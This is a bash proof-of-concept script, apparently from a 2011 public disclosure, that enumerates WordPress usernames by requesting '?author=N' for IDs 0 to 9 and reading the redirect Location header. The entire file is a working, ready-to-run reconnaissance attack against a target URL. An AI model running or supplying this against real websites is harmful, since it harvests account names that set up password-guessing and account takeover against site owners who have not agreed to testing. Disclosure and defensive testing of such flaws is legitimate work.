#!/bin/bash
# Wordpress User Enumeration PoC by Anant Shrivastava
# Disclosure : http://seclists.org/fulldisclosure/2011/May/493
if [ $# -ne 1 ]
then
	echo "Wordpress username enumeration PoC"
	echo "based on disclosure @ : http://seclists.org/fulldisclosure/2011/May/493 "
	echo $0 "URL of Website"
else

	count=0
	title=0
	while [ $count -lt 10 ]
	do 
		result=`curl -I -s --max-time 30 --max-filesize 1 $1?author=$count | grep -F 'Location:'`
		name=`echo $result |  rev | cut -f2 -d"/" | rev`
		nm=`echo "$"$result`
		if [ "$nm" != "$" ]
		then
			if [ $title == 0 ]
			then
				echo "ID : UserName"
				title=1
			fi 
			echo -n $count " : "
			echo $name
		fi
		count=`expr $count + 1`
	done
	if [ $title == 0 ]
	then
		echo "Either this site is not vulnerable or is not using wordpress hosted"
	fi
fi